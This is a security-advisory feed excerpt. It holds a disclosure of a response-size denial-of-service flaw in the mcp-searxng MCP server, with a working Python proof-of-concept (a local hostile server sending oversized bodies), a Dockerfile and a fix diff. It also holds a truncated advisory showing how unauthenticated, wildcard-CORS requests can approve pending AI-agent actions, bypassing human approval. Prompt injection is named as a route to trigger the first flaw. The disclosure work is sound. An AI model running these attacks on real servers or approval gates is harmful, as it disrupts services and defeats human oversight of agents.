\"MCP_HTTP_PORT\"             : str(MCP_PORT),\n        \"MCP_HTTP_HOST\"             : \"127.0.0.1\",\n        \"SEARXNG_URL\"               : \"http:\/\/127.0.0.1:8080\",   # not used in this test\n        # Allow 127.x URLs so the PoC can point at the local malicious server.\n        # (Real attacks target public servers \u2014 this env var enables local reproduction.)\n        \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n        \"NODE_ENV\"                  : \"production\",\n    }\n    proc = subprocess.Popen(\n        [\"node\", \"\/app\/dist\/cli.js\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n    )\n\n    def stream_server_logs():\n        for line in proc.stdout:\n            print(f\"[MCP-SERVER] {line.decode(errors='replace').rstrip()}\", flush=True)\n\n    log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n    log_thread.start()\n\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n        print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n    mcp_url = f\"http:\/\/127.0.0.1:{MCP_PORT}\/mcp\"\n\n    # ------------------------------------------------------------------\n    # Step 3: Initialize MCP session\n    # ------------------------------------------------------------------\n    print(\"[*] Initializing MCP session ...\", flush=True)\n    init_body, init_ct, session_id = http_post(\n        mcp_url,\n        payload={\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n            },\n        },\n    )\n    init_resp = parse_mcp_response(init_body, init_ct)\n    if not init_resp or \"result\" not in init_resp:\n        print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n    # Send notifications\/initialized (no response expected \u2014 ignore errors)\n    try:\n        http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications\/initialized\"},\n            timeout=10,\n        )\n    except Exception:\n        pass  # 202 with empty body or similar non-error responses\n\n    # ------------------------------------------------------------------\n    # Step 4: Call web_url_read pointing at the malicious server\n    # ------------------------------------------------------------------\n    evil_url = f\"http:\/\/127.0.0.1:{EVIL_PORT}\/\"\n    print(flush=True)\n    print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n    print(f\"    HEAD response will have NO Content-Length\", flush=True)\n    print(f\"    => checkContentLength() returns null\", flush=True)\n    print(f\"    => guard at url-reader.ts:359 is bypassed\", flush=True)\n    print(f\"    => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n    t_start = time.monotonic()\n    try:\n        tool_body, tool_ct, _ = http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\n                \"jsonrpc\": \"2.0\",\n                \"id\": 2,\n                \"method\": \"tools\/call\",\n                \"params\": {\n                    \"name\": \"web_url_read\",\n                    \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n                },\n            },\n            timeout=120,\n        )\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(tool_body, tool_ct)\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n    except Exception as e:\n        elapsed = time.monotonic() - t_start\n        print(f\"[WARN] tool call exception: {e}\", flush=True)\n        tool_resp = None\n\n    # Give the evil server thread a moment to flush its final log\n    time.sleep(0.5)\n\n    # ------------------------------------------------------------------\n    # Step 5: Collect and report evidence\n    # ------------------------------------------------------------------\n    print(flush=True)\n    print(\"=\" * 72, flush=True)\n    print(\"[EVIDENCE]\", flush=True)\n    print(f\"  HEAD_REQUESTS              : {g_head_count}\", flush=True)\n    print(f\"  GET_REQUESTS               : {g_get_count}\", flush=True)\n    print(f\"  GET_BYTES_SENT             : {g_bytes_sent:,}\", flush=True)\n    print(f\"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(\n        f\"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n        flush=True,\n    )\n    print(f\"  ELAPSED_SEC                : {elapsed:.2f}\", flush=True)\n\n    if tool_resp:\n        if \"error\" in tool_resp:\n            err = tool_resp[\"error\"]\n            print(\n                f\"  TOOL_STATUS                : ERROR code={err.get('code')} \"\n                f\"msg={str(err.get('message', ''))[:120]}\",\n                flush=True,\n            )\n        elif \"result\" in tool_resp:\n            content = tool_resp[\"result\"].get(\"content\", [])\n            text = content[0].get(\"text\", \"\") if content else \"\"\n            print(f\"  TOOL_STATUS                : SUCCESS\", flush=True)\n            print(f\"  RETURNED_LENGTH_CHARS      : {len(text)}\", flush=True)\n            print(f\"  RETURNED_EXCERPT           : {repr(text[:80])}\", flush=True)\n    else:\n        print(f\"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b''}\", flush=True)\n\n    print(\"=\" * 72, flush=True)\n\n    # ------------------------------------------------------------------\n    # Verdict\n    # ------------------------------------------------------------------\n    bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH\n\n    if bypass_confirmed:\n        print(flush=True)\n        print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n        print(\n            f\"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n            f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH \/\/ (1024*1024)} MiB) limit.\",\n            flush=True,\n        )\n        print(f\"  Root cause confirmed:\", flush=True)\n        print(f\"    1. HEAD response had no Content-Length header.\", flush=True)\n        print(f\"    2. checkContentLength() returned null  (url-reader.ts:243-245)\", flush=True)\n        print(f\"    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\", flush=True)\n        print(f\"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n        proc.terminate()\n        sys.exit(0)\n    else:\n        print(flush=True)\n        if g_get_count == 0:\n            print(\"[FAIL] GET request was never received \u2014 mcp-searxng did not fetch from the evil server\", flush=True)\n        else:\n            print(\n                f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,}",
            "summary": "## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` \u2014 a standard HTTP practice \u2014 `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src\/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src\/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n\/\/ src\/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null && contentLength > maxContentLengthBytes) {\n  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src\/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src\/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n\/\/ src\/url-reader.ts:414  \u2014 normal response path\nhtmlContent = await response.text();\n\n\/\/ src\/url-reader.ts:402  \u2014 error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src\/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N\/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng\/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n  -t vuln002-test \\\n  -f vuln-002\/Dockerfile \\\n  reports\/npmAI_249_ihor-sokoliuk__mcp-searxng\/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n  \"method\": \"tools\/call\",\n  \"params\": {\n    \"name\": \"web_url_read\",\n    \"arguments\": { \"url\": \"http:\/\/127.0.0.1:9799\/\", \"maxLength\": 1 }\n  }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS              : 1\nGET_REQUESTS               : 1\nGET_BYTES_SENT             : 6,291,456\nCONFIGURED_DEFAULT_LIMIT   : 5,242,880\nBYTES_OVER_LIMIT           : +1,048,576\nELAPSED_SEC                : 0.17\nTOOL_STATUS                : SUCCESS\nRETURNED_LENGTH_CHARS      : 1\n\n[PASS] VULNERABILITY CONFIRMED\n  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n  Root cause confirmed:\n    1. HEAD response had no Content-Length header.\n    2. checkContentLength() returned null  (url-reader.ts:243-245)\n    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\n    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise {\n+  if (!response.body) return response.text();\n+  const reader = response.body.getReader();\n+  const decoder = new TextDecoder();\n+  const chunks: string[] = [];\n+  let total = 0;\n+  while (true) {\n+    const { done, value } = await reader.read();\n+    if (done) break;\n+    total += value.byteLength;\n+    if (total > maxBytes) { await reader.cancel(); return null; }\n+    chunks.push(decoder.decode(value, { stream: true }));\n+  }\n+  chunks.push(decoder.decode());\n+  return chunks.join(\"\");\n+}\n\n-        responseBody = await response.text();\n+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+          ?? \"[Response body exceeded configured size limit]\";\n\n-      htmlContent = await response.text();\n+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+      if (limitedBody === null) {\n+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+      }\n+      htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update && apt-get install -y --no-install-recommends python3 \\\n    && rm -rf \/var\/lib\/apt\/lists\/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng\/)\nWORKDIR \/app\nCOPY repo\/ \/app\/\nRUN npm ci && npm run build\n\n# Copy the PoC script\nCOPY vuln-002\/poc.py \/poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"\/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk\/mcp-searxng v1.6.0\nFile:     src\/url-reader.ts:414 (response.text())\nCWE:      CWE-400 Uncontrolled Resource Consumption\nCVSS:     7.5 High (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H)\n\nRoot cause:\n  checkContentLength() at src\/url-reader.ts:243-245 returns null when the\n  server sends no Content-Length header.  The guard at line 359:\n      if (contentLength !== null && contentLength > maxContentLengthBytes)\n  evaluates to false (null !== null => false), so the check is skipped.\n  response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n  1. Malicious HTTP server (this process, port 9799):\n       HEAD => 200, Content-Type only, NO Content-Length\n       GET  => 200, 6+ MiB HTML body, NO Content-Length\n  2. mcp-searxng (subprocess, HTTP mode, port 3000):\n       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC\n  3. This script initializes an MCP session, calls web_url_read pointing\n     at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n  GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)\n  => The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src\/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB \u2014 exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT  = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state \u2014 updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count  = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Simulates an attacker-controlled HTTP server that:\n      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n      - Returns 200 for GET with a 6 MiB body and NO Content-Length\n        (triggers unbounded response.text() read)\n    \"\"\"\n\n    # Use HTTP\/1.0 so the connection closes after the body \u2014 no Content-Length needed.\n    protocol_version = \"HTTP\/1.0\"\n\n    def log_message(self, fmt, *args):  # suppress default per-request logging\n        pass\n\n    def do_HEAD(self):\n        global g_head_count\n        g_head_count += 1\n        print(\n            f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n            \" \u2014 responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/html; charset=utf-8\")\n        # Deliberately omitting Content-Length \u2014 this is the bypass trigger\n        self.end_headers()\n\n    def do_GET(self):\n        global g_get_count, g_bytes_sent\n        g_get_count += 1\n        print(\n            f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n            f\" \u2014 streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/html; charset=utf-8\")\n        # Deliberately NO Content-Length header\n        self.end_headers()\n\n        # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n        # Simple structure keeps NodeHtmlMarkdown conversion fast.\n        header = b\"\"\n        footer = b\"\"\n        payload_char = b\"A\"\n        target = BODY_SIZE_BYTES - len(header) - len(footer)\n        chunk_size = 65536  # 64 KiB chunks\n        total = 0\n        try:\n            self.wfile.write(header)\n            total += len(header)\n            while total < BODY_SIZE_BYTES - len(footer):\n                chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n                self.wfile.write(chunk)\n                total += len(chunk)\n            self.wfile.write(footer)\n            total += len(footer)\n        except (BrokenPipeError, OSError):\n            pass  # client may close early on abort\n        g_bytes_sent = total\n        print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n    srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n    srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -> bool:\n    deadline = time.monotonic() + timeout\n    while time.monotonic() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=1):\n                return True\n        except (ConnectionRefusedError, OSError):\n            time.sleep(0.3)\n    return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:\n    \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n    headers = {\n        \"Content-Type\": \"application\/json\",\n        \"Accept\": \"application\/json, text\/event-stream\",\n    }\n    if session_id:\n        headers[\"mcp-session-id\"] = session_id\n\n    data = json.dumps(payload).encode()\n    req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        body = resp.read()\n        ct   = resp.headers.get(\"content-type\", \"\")\n        sid  = resp.headers.get(\"mcp-session-id\")\n        return body, ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -> dict | None:\n    \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n    if \"text\/event-stream\" in content_type:\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n    try:\n        return json.loads(body)\n    except json.JSONDecodeError:\n        # Fallback: try SSE even if content-type says JSON\n        for line in body.decode(errors=\"replace\").splitlines():\n            if line.startswith(\"data: \"):\n                try:\n                    return json.loads(line[6:])\n                except json.JSONDecodeError:\n                    continue\n        return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=\" * 72, flush=True)\n    print(\"VULN-002 PoC \u2014 Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n    print(\"=\" * 72, flush=True)\n    print(f\"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(f\"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}\", flush=True)\n    print(f\"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious HTTP server\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n    evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n    evil_thread.start()\n    if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n        print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n        sys.exit(1)\n    print(\"[+] Malicious server ready\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2: Start mcp-searxng in HTTP mode\n    # ------------------------------------------------------------------\n    print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n    env = {\n        **os.environ,\n        \"MCP_HTTP_PORT\"             : str(MCP_PORT),\n        \"MCP_HTTP_HOST\"             : \"127.0.0.1\",\n        \"SEARXNG_URL\"               : \"http:\/\/127.0.0.1:8080\",   # not used in this test\n        # Allow 127.x URLs so the PoC can point at the local malicious server.\n        # (Real attacks target public servers \u2014 this env var enables local reproduction.)\n        \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n        \"NODE_ENV\"                  : \"production\",\n    }\n    proc = subprocess.Popen(\n        [\"node\", \"\/app\/dist\/cli.js\"],\n        env=env,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n    )\n\n    def stream_server_logs():\n        for line in proc.stdout:\n            print(f\"[MCP-SERVER] {line.decode(errors='replace').rstrip()}\", flush=True)\n\n    log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n    log_thread.start()\n\n    if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n        print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n    mcp_url = f\"http:\/\/127.0.0.1:{MCP_PORT}\/mcp\"\n\n    # ------------------------------------------------------------------\n    # Step 3: Initialize MCP session\n    # ------------------------------------------------------------------\n    print(\"[*] Initializing MCP session ...\", flush=True)\n    init_body, init_ct, session_id = http_post(\n        mcp_url,\n        payload={\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n            },\n        },\n    )\n    init_resp = parse_mcp_response(init_body, init_ct)\n    if not init_resp or \"result\" not in init_resp:\n        print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n        proc.terminate()\n        sys.exit(1)\n    print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n    # Send notifications\/initialized (no response expected \u2014 ignore errors)\n    try:\n        http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications\/initialized\"},\n            timeout=10,\n        )\n    except Exception:\n        pass  # 202 with empty body or similar non-error responses\n\n    # ------------------------------------------------------------------\n    # Step 4: Call web_url_read pointing at the malicious server\n    # ------------------------------------------------------------------\n    evil_url = f\"http:\/\/127.0.0.1:{EVIL_PORT}\/\"\n    print(flush=True)\n    print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n    print(f\"    HEAD response will have NO Content-Length\", flush=True)\n    print(f\"    => checkContentLength() returns null\", flush=True)\n    print(f\"    => guard at url-reader.ts:359 is bypassed\", flush=True)\n    print(f\"    => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n    t_start = time.monotonic()\n    try:\n        tool_body, tool_ct, _ = http_post(\n            mcp_url,\n            session_id=session_id,\n            payload={\n                \"jsonrpc\": \"2.0\",\n                \"id\": 2,\n                \"method\": \"tools\/call\",\n                \"params\": {\n                    \"name\": \"web_url_read\",\n                    \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n                },\n            },\n            timeout=120,\n        )\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(tool_body, tool_ct)\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t_start\n        tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n    except Exception as e:\n        elapsed = time.monotonic() - t_start\n        print(f\"[WARN] tool call exception: {e}\", flush=True)\n        tool_resp = None\n\n    # Give the evil server thread a moment to flush its final log\n    time.sleep(0.5)\n\n    # ------------------------------------------------------------------\n    # Step 5: Collect and report evidence\n    # ------------------------------------------------------------------\n    print(flush=True)\n    print(\"=\" * 72, flush=True)\n    print(\"[EVIDENCE]\", flush=True)\n    print(f\"  HEAD_REQUESTS              : {g_head_count}\", flush=True)\n    print(f\"  GET_REQUESTS               : {g_get_count}\", flush=True)\n    print(f\"  GET_BYTES_SENT             : {g_bytes_sent:,}\", flush=True)\n    print(f\"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n    print(\n        f\"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n        flush=True,\n    )\n    print(f\"  ELAPSED_SEC                : {elapsed:.2f}\", flush=True)\n\n    if tool_resp:\n        if \"error\" in tool_resp:\n            err = tool_resp[\"error\"]\n            print(\n                f\"  TOOL_STATUS                : ERROR code={err.get('code')} \"\n                f\"msg={str(err.get('message', ''))[:120]}\",\n                flush=True,\n            )\n        elif \"result\" in tool_resp:\n            content = tool_resp[\"result\"].get(\"content\", [])\n            text = content[0].get(\"text\", \"\") if content else \"\"\n            print(f\"  TOOL_STATUS                : SUCCESS\", flush=True)\n            print(f\"  RETURNED_LENGTH_CHARS      : {len(text)}\", flush=True)\n            print(f\"  RETURNED_EXCERPT           : {repr(text[:80])}\", flush=True)\n    else:\n        print(f\"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b''}\", flush=True)\n\n    print(\"=\" * 72, flush=True)\n\n    # ------------------------------------------------------------------\n    # Verdict\n    # ------------------------------------------------------------------\n    bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH\n\n    if bypass_confirmed:\n        print(flush=True)\n        print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n        print(\n            f\"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n            f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH \/\/ (1024*1024)} MiB) limit.\",\n            flush=True,\n        )\n        print(f\"  Root cause confirmed:\", flush=True)\n        print(f\"    1. HEAD response had no Content-Length header.\", flush=True)\n        print(f\"    2. checkContentLength() returned null  (url-reader.ts:243-245)\", flush=True)\n        print(f\"    3. Guard condition was false (null !== null => false) (url-reader.ts:359)\", flush=True)\n        print(f\"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n        proc.terminate()\n        sys.exit(0)\n    else:\n        print(flush=True)\n        if g_get_count == 0:\n            print(\"[FAIL] GET request was never received \u2014 mcp-searxng did not fetch from the evil server\", flush=True)\n        else:\n            print(\n                f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,}",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b908-72e9-83ee-aad635c28f1a",
            "title": "Network-AI: ApprovalInbox HTTP server has no authentication \u2014 anyone can approve pending agent actions ",
            "url": "https://github.com/advisories/GHSA-mxjx-28vx-xjjj",
            "content_html": "## Summary\n\n`network-ai`'s `ApprovalInbox` (`lib\/approval-inbox.ts`) is a shipped, exported, documented feature \u2014 *\"a web-accessible approval queue with REST API \u2026 and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST \/approvals\/:id\/approve` and `\/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port \u2014 a co-located process, a container\/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** \u2014 can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) \u2014 the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai  {\n    ...\n    res.setHeader('Access-Control-Allow-Origin', '*');          \/\/ 256   {\n      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  \/\/ defaults to 'anonymous'\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  \/\/ resolves the gate -> action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n\/\/ lib\/approval-inbox.ts:172-183 \/ 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  \/\/ promise -> {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n\/\/ lib\/approval-inbox.ts:281-286\nstartServer(port, hostname = '127.0.0.1') {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret\/token (unlike `McpSseServer`\/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded \u2014 an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET \/approvals\/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST \/approvals\/:id\/approve` with `Content-Type: application\/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: \u2026POST\u2026`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** 